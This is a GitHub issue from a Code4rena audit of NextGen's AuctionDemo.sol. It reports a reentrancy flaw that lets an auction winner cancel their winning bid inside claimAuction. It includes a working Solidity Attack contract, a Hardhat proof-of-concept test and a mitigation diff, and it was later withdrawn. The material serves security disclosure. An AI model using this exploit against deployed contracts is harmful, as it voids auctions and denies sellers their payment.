search

code-423n4 / 2023-10-nextgen-findings

5 stars 3 forks source link

The winner of the auction can cancel their winning bid when calling claimAuction by reentrance to cancelBid, which will make the auction invalid #496

Closed c4-submissions closed 10 months ago

c4-submissions commented 11 months ago

Lines of code

https://github.com/code-423n4/2023-10-nextgen/blob/8b518196629faa37eae39736837b24926fd3c07c/smart-contracts/AuctionDemo.sol#L116 https://github.com/code-423n4/2023-10-nextgen/blob/8b518196629faa37eae39736837b24926fd3c07c/smart-contracts/AuctionDemo.sol#L124 https://github.com/code-423n4/2023-10-nextgen/blob/8b518196629faa37eae39736837b24926fd3c07c/smart-contracts/AuctionDemo.sol#L134

Vulnerability details

Impact

A malicious user can win an auction and pull out their winning bid during the claimAuction call. This will invalidate the auction, owner() will not receive the winning amount and the user will not receive his NFT. This is possible due to reentrancy during the claimAuction call:

The main points are:

  1. Reentrancy when calling claimAuction
  2. And also the fact that cancelBid & cancelAllBids can be called at the same time as claimAuction due to a common moment in the conditions: block.timestamp >= minter.getAuctionEndTime(_tokenid) and block.timestamp <= minter.getAuctionEndTime(_tokenid)

File: 2023-10-nextgen\hardhat\smart-contracts\AuctionDemo.sol 104: function claimAuction(uint256 _tokenid) public WinnerOrAdminRequired(_tokenid,this.claimAuction.selector){ 105: require(block.timestamp >= minter.getAuctionEndTime(_tokenid) && auctionClaim[_tokenid] == false && minter.getAuctionStatus(_tokenid) == true);

File: 2023-10-nextgen\hardhat\smart-contracts\AuctionDemo.sol 124: function cancelBid(uint256 _tokenid, uint256 index) public { 125: require(block.timestamp <= minter.getAuctionEndTime(_tokenid), "Auction ended");


### Losses
Makes the auction invalid

## Proof of Concept

### Links
* https://github.com/code-423n4/2023-10-nextgen/blob/8b518196629faa37eae39736837b24926fd3c07c/smart-contracts/AuctionDemo.sol#L116
* https://github.com/code-423n4/2023-10-nextgen/blob/8b518196629faa37eae39736837b24926fd3c07c/smart-contracts/AuctionDemo.sol#L124
* https://github.com/code-423n4/2023-10-nextgen/blob/8b518196629faa37eae39736837b24926fd3c07c/smart-contracts/AuctionDemo.sol#L134

### Description

This situation is possible if the user has an uncollected bet that he made before the winning one. Since this allows him to track the payout for the uncollected bid and call cancelBid to cancel the winning bid. This will cause the `claimAuction` to skip the part related to the issuance of the NFT and the payment to the owner

Example of behavior:
1. The user places their first bet for a minimum amount of 1 wei
2. The user places their second bet for a winning amount of 1 ether
3. When the `claimAuction` is called, the first bid will be refunded, since it was faster in order:
```js
File: 2023-10-nextgen\hardhat\smart-contracts\AuctionDemo.sol

115:             } else if (auctionInfoData[_tokenid][i].status == true) {
116:                 (bool success, ) = payable(auctionInfoData[_tokenid][i].bidder).call{value: auctionInfoData[_tokenid][i].bid}(""); // @audit reentracy
117:                 emit Refund(auctionInfoData[_tokenid][i].bidder, _tokenid, success, highestBid);
118:             } else {}
  1. This allows you to track the refund of the first bid and call cancelBid for the winning bid: 
    
File: 2023-10-nextgen\hardhat\smart-contracts\AuctionDemo.sol

124: function cancelBid(uint256 _tokenid, uint256 index) public { // @audit call from L116 by reentracy and disable winner own bid 125: require(block.timestamp <= minter.getAuctionEndTime(_tokenid), "Auction ended"); 126: require(auctionInfoData[_tokenid][index].bidder == msg.sender && auctionInfoData[_tokenid][index].status == true); 127: auctionInfoData[_tokenid][index].status = false; 128: (bool success, ) = payable(auctionInfoData[_tokenid][index].bidder).call{value: auctionInfoData[_tokenid][index].bid}(""); 129: emit CancelBid(msg.sender, _tokenid, index, success, auctionInfoData[_tokenid][index].bid); 130: }

5. Due to these actions, the winning bid becomes invalid, claimAuction will skip it with successful completion
```js
File:2023-10-nextgen\hardhat\smart-contracts\AuctionDemo.sol
104:     function claimAuction(uint256 _tokenid) public WinnerOrAdminRequired(_tokenid,this.claimAuction.selector){
                ...
110:         for (uint256 i=0; i< auctionInfoData[_tokenid].length; i ++) {
111:             if (auctionInfoData[_tokenid][i].bidder == highestBidder && auctionInfoData[_tokenid][i].bid == highestBid && auctionInfoData[_tokenid][i].status == true) { // @audit skip winner bid, because status of winner bid is false
112:                 IERC721(gencore).safeTransferFrom(ownerOfToken, highestBidder, _tokenid);
113:                 (bool success, ) = payable(owner()).call{value: highestBid}("");
114:                 emit ClaimAuction(owner(), _tokenid, success, highestBid);
115:             }
                 ...
119:         }
120:     }
121:

Tests

pragma solidity ^0.8.19;

import "./AuctionDemo.sol";

contract Attack {

    address internal _auction;
    uint256 internal _winBid;
    uint256 internal _tokenId;
    bool internal _call = false;

    constructor(address auction, uint256 tokenId) {
        _auction = auction;
        _tokenId = tokenId;
    }

    receive() external payable {
        if (!_call) {
            _call = true;
            auctionDemo(_auction).cancelBid(_tokenId, _winBid);
        }
    }

    function setBid(uint256 b) external{
        _winBid = b;
    }

    function attack() external payable{
        auctionDemo(_auction).participateToAuction{value: msg.value}(_tokenId);
    }
}
const {
  loadFixture,
} = require("@nomicfoundation/hardhat-toolbox/network-helpers")
const { expect } = require("chai")
const { ethers } = require("hardhat")

const fixturesDeployment = require("../scripts/fixturesDeployment.js")
const helpers = require("@nomicfoundation/hardhat-network-helpers");

let signers, contracts, auctionDemoContract
const COLLECTION_ID = 1

describe("Issue: auction without prize", function () {
  before("Setup", async function () {
    ({ signers, contracts } = await loadFixture(fixturesDeployment))

    const auctionDemoFactory = await ethers.getContractFactory("auctionDemo")
    auctionDemoContract = await auctionDemoFactory.deploy(
      contracts.hhMinter.getAddress(),
      contracts.hhCore.getAddress(),
      contracts.hhAdmin.getAddress()
    )

    await contracts.hhCore.createCollection(
      "Test Collection 1",
      "Artist 1",
      "For testing",
      "www.test.com",
      "CCO",
      "https://ipfs.io/ipfs/hash/",
      "",
      ["desc"],
    )
    await contracts.hhAdmin.registerCollectionAdmin(
      1,
      signers.addr1.getAddress(),
      true,
    )
    await contracts.hhCore.connect(signers.addr1).setCollectionData(
      COLLECTION_ID, // _collectionID
      signers.addr1.getAddress(), // _collectionArtistAddress
      2, // _maxCollectionPurchases
      10000, // _collectionTotalSupply
      0, // _setFinalSupplyTimeAfterMint
    )

    await contracts.hhCore.addMinterContract(
      contracts.hhMinter.getAddress(),
    )

    await contracts.hhCore.addRandomizer(
      1, contracts.hhRandomizer.getAddress(),
    )

      await contracts.hhMinter.setCollectionCosts(
        COLLECTION_ID, // _collectionID
        0, // _collectionMintCost
        0, // _collectionEndMintCost
        0, // _rate
        1, // _timePeriod
        1, // _salesOptions
        '0xD7ACd2a9FD159E69Bb102A1ca21C9a3e3A5F771B', // delAddress
      )
      await contracts.hhMinter.setCollectionPhases(
        COLLECTION_ID, // _collectionID
        1696931278, // _allowlistStartTime
        1696931278, // _allowlistEndTime
        1696931278, // _publicStartTime
        1796931278, // _publicEndTime
        "0x8e3c1713145650ce646f7eccd42c4541ecee8f07040fc1ac36fe071bbfebb870", // _merkleRoot
      )
  })

  it("Checking the way to cancel winner bid and invalidate auction", async() => {

    let calcMintedId = await contracts.hhCore.viewTokensIndexMin(COLLECTION_ID) + await contracts.hhCore.viewCirSupply(COLLECTION_ID)
    let auctionEndTime = await helpers.time.latest() + 86400;
    await contracts.hhMinter.mintAndAuction(
      await signers.owner.getAddress(),
      '{"tdh": "100"}',
      2,
      COLLECTION_ID,
      auctionEndTime
    )

    await contracts.hhCore.transferFrom(await signers.owner.getAddress(), auctionDemoContract.getAddress(), calcMintedId)

    // @audit check that AuctionDemo have token
    expect(await contracts.hhCore.balanceOf(auctionDemoContract.getAddress())).to.be.eq(1);

    // @audit enemy user participate in Auction
    const attackFactory = await ethers.getContractFactory("Attack")
    const attack = await attackFactory.deploy(auctionDemoContract.getAddress(), calcMintedId)

    // @audit first bid for reentrancy
    await attack.connect(signers.addr2).attack({value:1})

    // @audit other user participate in Auction
    await auctionDemoContract.connect(signers.addr1).participateToAuction(calcMintedId, {value:100});
    await auctionDemoContract.connect(signers.addr3).participateToAuction(calcMintedId, {value:101});
    await auctionDemoContract.connect(signers.owner).participateToAuction(calcMintedId, {value:102});

    // @audit winner bid
    await attack.connect(signers.addr2).attack({value:1000})

    await attack.setBid(4); // set winner bid for canceled

    await helpers.time.setNextBlockTimestamp(auctionEndTime)

    await auctionDemoContract.connect(signers.owner).claimAuction(calcMintedId)

    // @audit check that nft not transfer to winner, it's also provide that owner not recieve winner bid
    expect(await contracts.hhCore.balanceOf(auctionDemoContract.getAddress())).to.be.eq(1);

  })

})

Tools Used

Recommended Mitigation Steps

Change the condition so that it is not possible to execute transactions of completing the auction and cancelBid | cancelAllBid in it at the same time (block)

File: 2023-10-nextgen\hardhat\smart-contracts\AuctionDemo.sol
124:     function cancelBid(uint256 _tokenid, uint256 index) public {
-125:         require(block.timestamp <= minter.getAuctionEndTime(_tokenid), "Auction ended");
+125:         require(block.timestamp < minter.getAuctionEndTime(_tokenid), "Auction ended");

139:     function cancelAllBids(uint256 _tokenid) public {
-140:         require(block.timestamp <= minter.getAuctionEndTime(_tokenid), "Auction ended");
+140:         require(block.timestamp < minter.getAuctionEndTime(_tokenid), "Auction ended");

Assessed type

Invalid Validation

code423n4 commented 10 months ago

Withdrawn by Haipls